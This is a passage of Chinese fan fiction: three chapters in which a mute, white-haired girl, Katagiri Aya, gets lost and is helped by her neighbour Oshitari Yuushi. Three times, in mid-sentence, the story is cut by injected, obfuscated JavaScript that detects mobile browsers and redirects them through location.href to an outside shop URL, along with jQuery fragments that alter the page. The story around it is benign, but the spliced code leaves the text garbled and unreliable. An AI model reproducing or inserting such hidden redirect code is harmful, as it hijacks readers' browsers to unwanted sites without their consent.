《幼驯染是忍足兄弟》 1. 第 1 章 “小彩,真的不去吗?” 一个年轻女人站在玄关,担忧地望着面前这个身高尚且不及自己腰部的小女孩。 小女孩垂着脑袋,她紧紧地搂着怀里的小羊玩偶摇摇头。 女人蹲下身来摸了摸她的脑袋:“那小彩在家里要照顾好自己,姑姑同你讲过什么事情不能做,你还记得吗?” 名为小彩的小女孩轻轻点了点头,又指了指远处的排插和一边尚未整理好的箱子。 女人看着眼前惹人怜爱的侄女,忍不住亲了亲她的脸蛋。 小彩轻轻推了推她,又抬起手腕上的手表给她看,示意她注意时间。 她拥着她,柔声道:“姑姑一会儿就回来,有什么事情记得打电话给我。” 在小彩的目送下,女人走出了房门,离开院子的时候给院门上了锁。 她盯着沾着灰尘的姓名牌,捏着纸巾擦拭了一番,直到“片桐”两个字出现在眼前,才把脏了的纸巾团成一团,用另一张纸巾裹起来塞进口袋。 她又重重拉了拉院门,门锁哐啷作响,她拉了几下没拉开,她这才满意地点点头。 正当她准备转身离开时,身后突然出现的稚嫩童声惊得她缩了缩肩。 “您在做什么呢?” 她回过头来,一颗藏蓝色的脑袋出现在她的视野里。 原来是个小孩子。 他约莫有七岁,身着一身运动服,背后背着一只网球包,似乎是要去网球场的样子。 大概是附近哪户人家的小孩吧。 女人不好意思地笑了笑:“我只是在看我家的院门有没有锁好……” 她蹲下身来,从包里掏出一枚糖果递给他:“我是新来的住户片桐沙友理,请多指教。” 小男孩神情冷淡,不着痕迹地打量了她几眼后才开口,“抱歉,吓到您了。” 他接过糖果,礼貌地道了声谢,又道:“失礼了,我是隔壁忍足家的孩子,我叫忍足侑士,请多指教。” 他抬腕看了看时间,“抱歉,我的网球课快要开始了,就先告辞了。” 片桐沙友理点了点头,友好地和他告别。 看着他渐渐远去的背影,她不由得想到了和他年纪相仿的侄女,轻轻地叹了口气。 要是小彩也能…… 啊,想这些做什么。 她倏地拍了拍自己的脸颊,让自己回过神来,元气满满地走向隔壁邻居的院子。 她摁响门铃:“您好,我是隔壁新搬来的住户……” …… 好无聊。 片桐彩趴在自己房间里的小几旁,专注地注视着眼前躺在一个精巧的摇篮里的小石头。 自从片桐沙友理离开后,家里就很安静。 平时她总是在她耳边絮絮叨叨地说着各种各样的话,稍微有些吵闹。 她曾期盼着回到过去那种没人搭理的日子,但片桐沙友理离开以后她才发现,她好像开始不习惯了。 墙壁上的时钟走针“哒、哒”地响着,就像她此刻无聊的心跳,“哒”、“哒”。 片桐彩轻轻地抚摸着小石头,一下接着一下。 她盯着光洁的小石头:‘小绊也觉得无聊吗?’ 小石头被捏着上下摆动了几下。 ‘原来小绊也觉得无聊,那我们悄悄去窗边看看外面的情况吧?’ 名为“小绊”的小石头像是有些犹豫,轻轻地在茶几上点了点。 ‘小绊是在担心我被人看见吗?没关系的,只是悄悄地开一条小缝就没关系吧?只要悄悄地……’ 小石头像是被说动了,兴奋地在自己柔软的小窝里跳跃着,一次比一次高。 ‘小绊,你说你会保护我吗?你真好,我也会保护你的。’ 片桐彩原本紧抿的唇放松下来,有了几分笑模样。 她轻手轻脚地挪到窗边,拉开了一条小缝朝外望去。 窗外的景象和她过去看到的很不同。 过去她只能够看到楼下小如蚂蚁的行人和像是微型玩具一般的车流,但这里完全不一样,她甚至能看到每个人的动作。 远处一户人家的门前,有两位大婶正挽着菜篮说笑,其中一位似乎说了些什么很有趣的事情,引得另一位哈哈大笑。 相熟的行人们在下面寒暄,小麻雀们在电线上寒暄,人声和鸟鸣交织在一起,片桐彩却奇异地不觉得吵闹。 她好奇地盯着这些她从未见过的景象,慢慢地,她的目光跑走了,流连在隔壁院子里的花草上。 隔壁院子里的花草侍弄得很好,开得格外茂盛,从她这个角度能看到的并不算很多,只能瞧见外面的花墙。 各色鲜花挨挨挤挤地靠在一起,从栅栏里探出了脑袋。 花下瀑布了。 ‘那是月季花。’ 她打量着那些花的形状,默默地在心里给小绊讲解着:‘就是《小羊警卫队》里,米恩花匠种的那种。’ 她轻手轻脚地把窗户的缝隙拉得大了些,想看看另一边是不是也一样。 隔壁人家门上的风铃响了一声,片桐彩的心“扑通扑通”地乱跳着,她捏着小绊紧张地拱进了窗帘里。 心跳声重重地砸着她的耳朵,她的思绪像海水里随波逐流的鱿鱼,轻飘飘地漂浮着。 是有人出来种花了吗? 那些花好漂亮,种花的人是不是也会像米恩花匠一样戴着大大的草帽呢? 她撩开窗帘的一角,好奇地朝外望去,可惜她并没有看到戴着大大的草帽的花匠,只看到了一个背着包的男孩子。 对方似有所感般望过来,他们的目光恰好在空中相撞。 他的神情冷淡,一双眼睛直直地盯着她的方向看。 片桐彩有些被吓到了。 她下意识捂住了自己的脑袋,脸上写满了慌张。 手心被小绊硌得生疼,她却丝毫不敢放松,她狼狈地躲回了窗帘里,黑暗的环境让她安心了许多。 外面隐约飘来了片桐沙友理的声音,过了一会儿便渐渐散去了,只余下小麻雀叽叽喳喳的叫声。 她在心里数了好多好多个数,等她再从窗帘里探出脑袋望向外面的时候,那个男孩已经不见了。 即便如此,她也不敢多望了。 片桐彩关上窗户,缩在角落里看起了画册。 她在小绊的陪伴下渐渐放松下来,慢慢合上眼,呼吸绵长。 …… 片桐沙友理拜访完周围的邻居再回来的时候,已经傍晚了。 她倚着玄关的鞋柜,长长地舒了一口气。 这里的人实在是热情得不得了,她稍微有些不习惯,光是隔壁忍足太太就拉着她聊了好久,她根本就无法招架。 她在玄关休息了一会才走进客厅。 片桐沙友理的目光在客厅里睃巡着,到处寻找片桐彩的身影,却怎么也没找到。 大概是回房间了吧。 她上楼走到片桐彩的房间门口,轻轻敲了敲房门,在心里默默地数了三十个数都没有得到回应,她这才拧开了房门的把手。 她的目光在房间里扫了一圈,终于在房间一角的地毯上找到了睡得正熟的侄女。 小女孩趴在巨大的小羊玩偶怀里,小脸贴在小羊玩偶的肚子上,大约是睡了不短的时间,她的皮肤隐隐透着些绯色。 片桐沙友理午休后给她扎得整整齐齐的小揪揪此刻散乱地铺开,雪白的发丝在夕照下像是被裹上了一层琥珀色的蜜糖。 她轻轻拨开贴着她脸颊的头发,像是感受到有人在碰她的脸,片桐彩下意识抓住了她的手指,把她的手往外推了推。 好可爱…… 片桐沙友理心中油然出满腔的慈爱,亲了亲她的小脸。 她轻手轻脚地把她抱起来放到床上,从柜子里找出一条毛绒绒的毯子,给她盖上以后才退了出去。 她们才搬过来第二天,东西还没有全部整理完,客厅里还堆着一些箱子。 片桐沙友理放轻了动作,专注地整理房间。 箱子越来越少,房间里的陈设越来越多,多是些小孩子的小玩意儿——有最近孩子们喜欢的《小羊警卫队》的玩偶,也有成套成套的扮家家酒道具,更多的则是画册、画笔和数量惊人的手工材料。 这些东西都在自己该待的地方整整齐齐地待着,原本冷清的房子一下子就变得温馨了许多。 收拾完这一切,她抬头看了眼墙上的挂钟,时针指向了“六”,该准备晚餐了。 由于她昨天才去采购过,冰箱里堆满了各式各样的食材,她选了几样她和侄女都爱吃的,关上了厨房的门,乒乒乓乓地烹饪起来。 虽说她关上了门,但这座房子的年岁也不小了,隔音效果并不怎么好,厨房里的响动还是隐约 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13547765|142576||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 传到了片桐彩的房间。 片桐彩原本就快要醒了,半梦半醒间,楼下的些微响动传进了她的耳朵。 她坐起身,困倦地眨了眨眼睛。 她本想揉揉眼睛,但想到姑姑前些天因为她揉眼睛不太高兴,最终还是没有这样做。 可是眼睛有点痒痒…… 她灵光一闪,抱起枕边的小羊玩偶,把脸埋进小羊的毛毛里重重地蹭了蹭,痒意一下子就消散了。 这样就不算她揉眼睛了,是小羊帮着揉的,这下姑姑就不会说她了吧? 片桐彩醒了醒神,这才翻身下床,踩着柔软的地毯走了几步到了门边。 姑姑好像在做饭。 她听着门外断断续续的切菜声,犹豫着要不要去帮忙。 她可以帮姑姑洗菜,她最会洗菜了。 但如果去了的话,姑姑一定会和她说很多很多的话。 她知道不回话是不礼貌的。 她不想做不礼貌的孩子,可是她说不出话。 每当她想要说话的时候,她的嘴巴就像被胶水紧紧粘住了一样,连动都动不了。 厨房里厨具碰撞的声音依旧一刻不停地往她耳朵里钻,尽管那声音再轻不过,但她仍觉得有些吵闹。 她无知无觉地咬着自己的指尖,难过地耷拉着眉眼。 倏地,一阵悠扬的小提琴声从窗外传了进来。 片桐彩竖起耳朵仔细听了一会儿,想要辨认出是什么曲子,但她失败了。 好像是电视上会放的音乐,大人们会听的音乐。 她看电视的时候,偶尔也会听到这样的音乐,不过都是在大人们看的节目上。 她不爱看那些,每次一调出那些,她立刻就会按动遥控器,控制着跳过这些频道。 她知道这是小提琴发出来的声音,但也仅限于此了——小提琴曲她也就只听过《小星星》而已。 原来大人的音乐也像小孩的音乐一样好听吗? 她侧耳听着,不知不觉就走到了窗边,躲在窗帘后悄悄往外望。 隔壁那户人家二楼和她房间相对的窗户里亮堂堂的,和白天一点也不一样。 片桐彩盯着那扇窗户看了一会儿。 声音好像是从那里传出来的。 只是不知道为什么,声音好像弱了很多,她有点听不清。 她摸了摸自己面前的玻璃,再挪开手时,一枚掌纹清晰的小手印出现在了玻璃上。 这是昨天才擦过的窗户,好不容易才擦干净的呢。 她慌张地用手抹了抹,好不容易抹开了,却有了些涂抹的印子,范围也越来越大了。 见状,片桐彩只好装作若无其事地收回手,也收回了目光。 只要她没有看到,那就是没有。 她歪着脑袋,听着窗外减弱了不少的声音,犹豫了一小会儿,最终还是轻轻地把窗户拉开了一条小缝。 这样声音应该比较好进来吧? 她吭哧吭哧地搬来一张高高的椅子,捧着小脸坐在窗边。 窗外的小提琴声果然变得比之前要响亮一些,但还是有些小。 她一边数着窗外的月季花,一边认真地听曲子。 突然,她的房门被轻轻敲了敲。 片桐彩连忙下了椅子,小跑着去开门。 “呀,我们小彩醒了啊,我还怕琴声吵到你呢,”片桐沙友理蹲下身,笑眯眯地捏了捏她的小脸:“你刚才在做什么呢?” 片桐彩指了指自己的耳朵,又指了指窗户。 窗外小提琴声悠扬,直到现在也没有停。 片桐沙友理听了一会儿,见侄女有些入神,轻声道:“这是隔壁忍足家的儿子在练琴,忍足太太说每天这个点他都会练一会儿的,小彩喜欢小提琴吗?” 片桐彩点点头,她伸出手指指了指自己的耳朵,又竖起大拇指,比了一个“好”的手势。 “小彩觉得好听,是吗?”片桐沙友理揉了揉她的脑袋:“如果小彩愿意的话,以后也可以尝试和隔壁的孩子们一起玩。” “隔壁忍足家有两个孩子,一个姐姐一个弟弟,姐姐叫惠里奈,弟弟叫侑士……” 姐姐她没有见过,但弟弟…… 片桐彩不由得想到了她今天见到的那个、看起来有些冷淡的男孩。 Yuushi……? 是哪两个字呢? 2. 第 2 章 “那姑姑出门喽,小彩自己在家里乖乖的,不要给陌生人开门,饿了冰箱里有蛋糕,姑姑晚上就回来了。” 片桐彩轻轻地点点头,冲着片桐沙友理挥了挥手。 沙友理本打算走了,却还是没忍住,又抱着侄女亲了几口。 “啊,时间来不及了!姑姑晚上再回来和小彩玩哦!” 她瞄了眼墙上的时钟,急急忙忙抓起包就离开了。 随着一声门响,家里又恢复了平静。 片桐彩慢吞吞地走到客厅,猛地扎进了沙发,把脸埋进软乎乎的靠枕里。 窗外的蝉鸣“滋滋滋滋”地响个不停,她烦躁地捂住了自己的耳朵。 捂住,松手。 再捂住,再松手。 蝉鸣的声音一会儿清晰一会儿模糊,耳朵里的空响像是山谷里呼呼刮过的风。 她就这么兴奋地玩了一会儿,玩累了就把整个人都藏进了靠枕里。 靠枕们整整齐齐地压在她的身上,把她遮得严严实实的。 呜啊……小彩被吃掉了! 可恶的枕头怪人! 小彩在枕头怪人的肚子里的话,要怎么才能获救呢? 片桐彩把脑袋枕在手臂上,板着张脸,严肃地思考着这个问题。 首先,要伸出手才行吧? 这样的话就需要那个了吧,那个。 她偷偷摸摸地从口袋里掏出一枚小羊警卫队的变身徽章,轻轻地按下那枚星星形状的按钮。 ‘小彩警官!变身——!’ 完美的策略! 小彩警官变身后,就会变成超级无敌厉害的大力士警官! 这样就一定能够打倒枕头怪人了! 她脸上露出了一个不甚明显的笑容,手臂猛然一挥,冲出了靠枕的“封锁”,压在她身上的靠枕垂头丧气地散落一地。 好耶! 枕头怪人被打倒了! 今天是小彩警官的大胜利! 片桐彩坐起身来,原本梳得整整齐齐的头发变得乱糟糟的,白色的发丝东翘一撮西翘一块,像极了小鸟的巢穴。 她拢着手指,轻轻挠了挠翘起的头发,自己也不由得露出了一个腼腆的笑来。 她轻快地跑到盥洗室,吭哧吭哧地从角落搬出了她的踩脚凳,对着镜子整理起自己的头发来。 她耐心地抠着两侧小揪揪上的发绳,拉下来以后,将将及肩的头发蓬松地炸开。 姑姑总说她像一颗小蒲公英,她却觉得自己像动物园里得了白化病的雄狮子——那头狮子的鬃毛和她的头发一样蓬松,只是不像她的头发这样卷。 但他们都一样不讨人喜欢。 就像它的伙伴们不喜欢它一样,她的伙伴们也不喜欢她。 想到这里,片桐彩难过地撇了撇嘴。 她沮丧地举起梳子,缓缓地顺着自己打着卷的头发,一声闷闷的震动声突然在盥洗室里响起,把她给吓了一跳。 她好奇地寻找着声源,终于在一旁半开的抽屉里找到了一支手机。 原来是姑姑的手机。 她又不小心把手机落在家里了吗? 她捏着手机,认认真真地读起了屏幕上显示的字母。 真奇怪,字母上怎么还有奇怪的小斜线呢? 和她认识的字母好像不太一样。 片桐彩左看右看也认不出究竟是谁给片桐沙友理打的电话。 这个奇怪名字的人打了好多通电话来,应该是有什么急事,她看着,也跟着有些着急起来。 要不要给姑姑送去呢? 小彩皱着脸。 不送的话,要是真的有很着急很着急的事情怎么办? 姑姑到现在都没有回来取,大概是还没有发现自己的手机没带去吧。 可是要是去送的话…… 小彩蹙着眉,啪嗒啪嗒地踩着拖鞋来到客厅的窗边。 外面的太阳还是有些烈,她只是站在窗边看着都感觉有些热了。 也许正是因为这个,街道上没什么行人,连小鸟都见不到几只。 她和片桐沙友理搬来已经快一个星期了,她也跟着沙友理去过一次她的店里,店铺和家之间的距离并不算太远,她还记得要怎么走。 那就送过去吧? 片桐彩犹犹豫豫地想着。 只要好好戴着帽子就好了……不会被发现的。 她其实也有些好奇附近的景色是什么样的。 说干就干,她迅速给自己扎好小揪揪,又给自己戴上了一顶宽大的帽子。 她看着镜子里的自己满意地点了点头。 很好,头发一点点也没有露出来! 她轻快地跑到门口,把沙友理的手机妥帖地装进自己的小羊背包,又检查了一下自己的随身物品,确认无误后就离开了家。 门“砰”的一声关上了。 片桐彩看着被烤得有些发白的地面,迟迟没有迈出脚步。 像是在催促她一般,手机震动的“嗡嗡”声再次响起,她紧紧地攥着背包带子,犹犹豫豫地迈出了第一步。 一步、两步、三步…… 她慢腾腾地挪到院门口,探头探脑地看了看外面的情况。 很好,一个人也没有! 她这才长长地舒了一口气,警惕地走出了院子。 下午的太阳稍微有些蜇人,照在皮肤上有点火辣辣的。 片桐彩的小脸被热得红扑扑的,没走下去多远,脸侧的小碎发就汗津津地贴在了她的脸上。 要先直走,再往左转,之后再往右转…… 再然后呢? 小彩的眉毛拧得紧紧的,努力回忆着之前姑姑带着她走的路线,却怎么也想不起来。 这一片没有特别显眼的指示物,她忘记究竟是要往左转还是往右转了。 她沮丧地垂着脑袋,在路边贴着墙站了一会儿。 要不要用手表给姑姑发讯号,让姑姑来接她呢? 可是姑姑最近好像很忙的样子…… 片桐沙友理的烘焙房这几天才刚刚开业,每天都行色匆匆的,店里要忙活的事情很多,就连小彩也去帮过一次忙。 她好像又给人添麻烦了。 片桐彩惶恐地打量着周围的环境,这会儿已经过了一天中最热的时候,路上也慢慢有了些行人。 或许她现在应该去求助的…… 不,应该是绝对要去求助才对。 爸爸说过,在迷路的情况下乱走会更糟的。 找看起来和善的大人也好,找交番的警察也好……总之必须要请求大人的帮助了。 可是…… 片桐彩的唇角向下牵引,眉眼丧气地垂了下来。 她做不到。 她的心脏“扑通扑通”地乱跳着,她尝试着张了张嘴巴,却怎么也张不开。 喉咙间像是有着一块重重的铅块吊着,沉重的感觉一直坠到了她的胸腔里,就连呼吸都有些困难。 她压抑地喘息着,地面上的小石头像是被抹开的颜料,慢慢地变得模糊了。 一滴眼泪重重地坠到地上,周围的景物一下子变得很大很大,道路空旷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13547766|142576||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得叫她有些害怕。 她攥着背包的背带,厚重的尼龙布剐蹭着她的手心,她不知所措地摩挲了几下,眼睛紧紧地盯着地面上的纹路。 “你需要帮助吗?” 一道阴影盖了下来,把她大半个身体都拢了进去。 片桐彩抬眼望去,一颗藏蓝色的脑袋映入了她的眼帘。 对方站在她身前,面色平淡,平淡到不像是在看一个需要帮助的人,倒像是看一株路边随处可见的小花小草。 这张脸不可谓不熟悉,自从她搬来以后,几乎每天都能够见到一两次——不过是在楼上远远地见到,真要说的话,他们这还是第一次面对面地碰见。 是隔壁家的Yuushi。 原来他的眼睛是浓绀色的啊。 小彩莫名地想道。 “你是不是迷路了?” 男孩见她不答话,蹲下身又耐心地问了一遍。 片桐彩直愣愣地望着他。 他浓绀色的眸子里没有丝毫不耐烦的情绪,只是那样专注地看着她。 她心中的紧张感一下就消退了不少,下意识点了点头。 男孩从自己随身携带的包里掏出了一方手帕递给她:“先擦擦脸,你是出来帮忙跑腿的吗?要去哪里?” 小彩踌躇了几下,这才不好意思地接过了他的手帕,胡乱地擦了擦自己的脸。 她指了指自己的嘴巴,又摆了摆手,示意对方自己不能说话。 男孩见状也没说什么,自然地从她手里捏过帕子,轻轻地帮她把脸上没擦干净的地方又擦了擦。 片桐彩的脸更红了。 自从她上了幼稚园以后,她就没有再要谁帮忙擦过脸了。 这也太叫人害羞了吧! 都已经是小学生了还要别人帮忙擦脸什么的…… 她赧然地抠着自己背包的背带,右手轻轻地把他的手往外推了推。 见她久久没有发出一丁点声音,他若有所思道:“没办法说话吗?” 片桐彩咬着唇,轻轻地点了点头。 她想了想,从包里找出一枚印着店铺LOGO的小贴纸递给他。 “SARIKA烘焙房……”他念着上面的名字,回忆道:“新开的那家烘焙房吗?我知道在哪里,我带你去好了。” 咦? 真的可以吗? 片桐彩腼腆地冲着他笑笑,比了个“谢谢”的手势。 “我们接下来要去的地方人会有点多,”男孩冲着她伸出了手:“为了避免走散,我们牵着手走,没关系吧?” 小彩犹豫了。 除了家人,她几乎没怎么和人一起牵着手走过。 哪怕是在学校里,老师要求大家手牵手的时候,她也只被同伴允许牵着对方的衣角。 大家都说她是不祥的妖怪小孩,触碰到的话会给大家带来坏运气,都不愿意和她一起玩。 隔壁家的Yuushi是热心肠的好人,她不想给他带去坏运气。 她站起身来,踌躇着捏住了他衣摆的一片衣料。 Yuushi疑惑地看着她:“那里的人真的很多,要是只牵着衣服的话,会走散的哦?” 话音未落,一只热乎乎的手覆在了她的手背上,轻轻地扣在了她的手心。 对方轻轻一拉,就把她的手带了下来。 他的唇角微微勾起,露出了她这些天以来,在他脸上见到的第一个笑容:“虽然我知道这样很热,但是也请稍微忍耐一下吧。” “比起走散,还是热一小会儿要好一点,你说呢?” 3. 第 3 章 “比起走散,还是热一小会儿要好一点,你说呢?” 片桐彩呆呆地看着他们交握的手,一时间不知道该做出什么样的反应。 她好像突然变得很忙,眼睛左看看右看看,东张西望的也不知道究竟在看什么。 手掌上传递来的热乎乎的温度令她感到有些陌生。 平时她会和姑姑牵手,也会和爸爸牵手,他们的手都好大好大,她两只手铺开放到一起才够他们一只手的大小。 牵着和她差不多大小的、小朋友的手,这样的事情她好像已经很久很久都没有做过了。 她新奇地瞄着他们交握的手,虎口和手掌刚刚好嵌合在一起,就像她自己左手牵右手一样。 男孩瞥了她一眼,又收回了目光。 “我叫忍足侑士,你呢?” 要交换名字吗? 片桐彩想了想,把手从他的手里抽了出来,轻轻地握住了他的手,在他的手心里写写画画。 女孩柔软的指腹像羽毛一样轻轻地点在他的手心,忍足侑士不由得蜷了蜷手指,下意识往回抽了抽手。 女孩歪着脑袋望向他,一副困惑不解的模样。 他这才又把手摊开,努力忍耐着痒痒的感觉,一个一个地辨认起她写的假名。 “かたぎり(katagiri)”。 “あや(aya)”。 片桐あや…… 他知道她是隔壁片桐家的孩子,早在她们搬来的那天他就见到过她了,只是她一直抱着她的小羊玩偶,根本没有注意到附近的事情。 他抬眼望向她:“Aya是哪个字?” 面对他的问题,片桐彩突然起了点小小的玩乐心思。 她指了指自己身上鹅黄色的小裙子,又指了指对方身上的白色T恤,抿着唇笑了笑。 ‘要猜猜看吗?’ 忍足侑士思索了一番,不确定地说出了一个字:“是‘彩’吗?” 小彩惊讶地瞪大双眼,祝贺般地拍拍手,发出“啪叽啪叽”的响声。 她重重地点了点头,又从自己的小背包里翻出蓝色的小花贴纸,贴在了他的手背上。 忍足侑士不明所以地任由她贴了好几朵,莫名有种自己被当成小狗训练的感觉。 他见过别人是怎么训练小狗的,做了正确的事情、正确地完成了指令,训犬师就会给小狗一点它最喜欢的小零食,或者是些别的什么奖励。 总感觉有点微妙。 片桐彩似乎格外兴奋,不断地从自己的小背包里掏出各式各样的贴纸。 直到一枚贴纸重重地摁上了他的脸颊时,忍足侑士这才回过神来。 他在自己的脸颊上摸索着,找到那枚贴纸想要撕下来,却被对方闪闪发亮、写满期待的眼神硬生生给制住了。 他瞄了眼自己手上各式各样的小花贴纸,最终还是放弃了。 就当是被幼稚园老师奖励了小贴纸吧。 反正他也才从幼稚园毕业……不到一年的时间。 总感觉现在要是撕下来的话,面前这位小妹妹会哭出声来。 是的,小妹妹。 忍足侑士看着眼前比自己矮一个苹果那么高的女孩,颇有些自得地想着。 他可是哥哥,很会照顾人的。 他的堂弟谦也就被他照顾得很好,每天都精力充沛,活蹦乱跳得像是一只小跳蚤。 作为哥哥来说,偶尔也需要大度一点,不和小孩计较。 括弧,面对谦也时除外,括弧完毕。 正当他胡思乱想之际,他的手心又被画上了几个圆滚滚的平假名。 ‘Yuushi的名字要怎么写呢?’ 片桐彩的眼睛亮晶晶的,叫他想到了爸爸的同事叔叔家的萨摩耶。 它也总是这样充满期待地抬头望着他,他完全不忍心拒绝它的讨食要求,偷偷给它喂过不少小零嘴。 “‘侑’就是帮助他人的那个‘侑’,‘士’是……” 忍足侑士认真地解释着,但看到面前的女孩脸上露出迷茫的神情,不由得叹了口气。 对不起,他完全忘记了她还是个幼稚园小朋友的事情,汉字储备量当然和他这个小学生不一样。 他摊开她的手,一笔一划地在上面写了起来。 撇,竖,横…… 还没写下去几笔,女孩的手就蜷了起来,不住地往后缩。 手心好痒。 她本来想忍一忍的,但是只忍了那么一小会儿,她就再也忍不下去了。 好痒啊! 她抽回手以后才反应过来这样不太礼貌,怯生生地打量着忍足侑士的脸色。 他面色如常,看不出来喜怒,片桐彩难为情地比了一个“抱歉”的手势。 她想要告诉他,她是因为痒痒才收回手的,却不知道自己要怎么做才能让他明白——毕竟不是所有人都能看懂手语的,哪怕是那些看起来无所不能的大人也不例外。 忍足侑士若有所思地望着她:“是痒痒吗?” 她点了点头,接着又想到什么似的,从包里掏出一支水彩笔递给他。 片桐彩把手背放到他面前,轻轻点了点。 “要写在上面?” 她再次点了点头。 忍足侑士捏着笔,一笔一划地在她手背上写下了他名字的汉字。 侑、士。 彩笔出水很流畅,颜色也非常亮眼,他写完以后想了想,又在她的手背上添上了一朵小花。 等他挪开手以后,片桐彩一眼就看到了那朵小花。 以前在学校的时候,她总是看着小伙伴们互相在手背上画图案,她也很想要一个,但是没有人愿意给她画。 侑士真是个热情的小孩! 她对着手背上的图样左看右看,一副爱不释手的模样。 忍足侑士好笑地把笔交还给她,本想收回手,却被她一把抓住。 这是要做什么? 他困惑地看着面前的女孩,对方宽大的帽檐挡住了他的视线,他只能感受到彩笔的笔尖在他的手背上游走,却看不到她画了些什么。 不过对方并未要他等太久,她随手把彩笔插进自己的包里,献宝似的把他的手背捧起来给他看。 忍足侑士不解地望去,一只软绵绵的小羊生动地出现在他的眼前,与之一同出现的,还有一个大大的“彩”字。 与其说是字,不如说是画。 她的字圆乎乎的,一笔一划都圆圆地团在一起,不注意看还以为是那只小羊的装饰。 这是幼稚园小朋友之间新出的什么交流方式吗? 互相写名字、画图画什么的…… 忍足侑士不确定地想着。 这只羊看着也很眼熟。 好像是最近热播的什么动画片上的角色,谦也也有在看。 片桐彩的眼睛水汪汪的,碧绿的色泽像极了妈妈的绿宝石项链,在太阳的光辉下闪闪发亮。 她好像很期待他的反应。 忍足侑士又不着痕迹地瞥了她一眼。 真的好像小狗…… “谢谢你,片桐……” 他话音未落,就被对方牵起手。 片桐彩点了点他的手背上画有小羊的那块地方。 他恍然大悟道:“你是要我叫你的名字吗?” 小彩笃定地点点头。 忍足侑士为难地叹了口气。 叫名字这件事还是太亲密了吧?他们也只是今天才刚刚认识吧? 小彩的目光格外坚定,他总感觉要是他不叫,对方就会立刻哭给他看。 “好吧,小彩,”他妥协地握住她的手,“我们先去你要去的地方吧?” 片桐彩这才想起几乎要被自己抛之脑后的、可怜的姑姑。 背包里的手机恰巧又开始震动了,她轻轻地晃了晃他们交握的那只手,在对方看过来的时候,带着他跑了两步。 “要跑着去吗?”他扫了一眼她的体格,担心地蹙了蹙眉:“好吧,那要紧紧地抓着我的手才行哦?” 小彩重重地点了点头,视死如归地看着前方。 忍足侑士带着她跑了起来。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13547767|142576||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他刻意放慢了速度,却还是要比她快上一些。 风呼呼地吹了过来,前方有好心的侑士开路,风宛如被海船劈开的海浪,在他们“乘坐”的这艘船两边分流开来。 ‘冲呀!’ 小彩水手缀在侑士船长身后,雀跃得好像要飞起来一样。 原来和朋友手牵着手跑起来是这样的感觉吗? 真好,难怪大家都喜欢这样玩。 她眉眼飞扬,脸上绽开一个灿烂的笑容。 风愈发地大了。 片桐彩扣帽子时没能扣紧,被大风这么一吹,扣子直接散了开来,帽子就这么直直地乘着风,往后飞远了。 她惊惶地停了下来,用力抽出手捂住了自己的脑袋,目光迅速掠过周围的地面,无措地找寻着自己的帽子。 忍足侑士也跟着停下脚步,疑惑道:“怎么了?” 他的目光在她的脑袋上停留了一瞬,顿时就明白了。 “你在这里等我一下。” 说着,他的身影一下就不见了。 片桐彩捂着自己的脑袋,呆呆地蹲在原地。 她的耳朵里什么声音都没有,什么声音都听不见。 像是身处于漆黑的深海,她的视野也渐渐变得模糊,眼前的一切如同涡流中星星点点的泡沫,组合起来又消散了。 他是不是已经看到了呢? 是不是也觉得她是一个奇怪的小孩呢? 她的手太小,雪白的发丝怎么捂都捂不住,顾西头就露东头,他比她高,一定看到了吧。 她知道她现在应该赶紧离开的,可是她有一点点不想走——他让她在这里等他一下。 不过他真的会回来吗? 片桐彩不确定地想道。 以前也有人叫她在原地等待,只是她等了好久好久,一直等到天黑对方也没有回来。 他会不会像她过去的伙伴一样,等到天黑都等不来呢? 老师说,交换了名字就是朋友,今天是他主动和她换的名字,他们应该也是朋友了吧? 朋友,朋友是不一样的。 她再等一下下,就一下下,等她数到三十的时候要是还没有来,她就自己去找姑姑的店。 片桐彩这么想着,开始在心里默默地数起了数。 一、二、三…… 三十会不会有点点少呢? 数到二十的时候,她突然想道。 大家玩躲猫猫的时候,还要数一百个数呢。 要不就数到一百吧? 她自顾自地点了点头,算是同意了自己的提议。 二十六、二十七、二十八…… 她将将在心里数到“二十九”的时候,脑袋上传来了些许柔软的触感。 她懵懵地抬头望去,忍足侑士的脸出现在她的眼前。 “把手挪开。” 她下意识把手从脑袋上挪了下来,不知所措地绞着手指。 他捏着她帽子上的扣子,认真地给她系着系带。 就算见到了她脑袋上天生雪白的头发,他依旧是那副平静的面孔,浓绀色的眼睛里满溢着专注之色。 没有嘲弄,没有厌恶。 小彩怔怔地看着他的脸,不由得上手摸了摸。 是真的。 她的视野渐渐模糊,轻轻地搂住了他的脖子。 温热的触感贴在了他的脸侧,忍足侑士被惊了一下,好一会儿才反应过来自己是被小妹妹给抱住了。 “是累了吗?”他耳根热热的,不好意思地扭过脸:“要不我背你去吧?” 女孩毛茸茸的脑袋蹭着他的脖颈,弄得他有些痒痒。 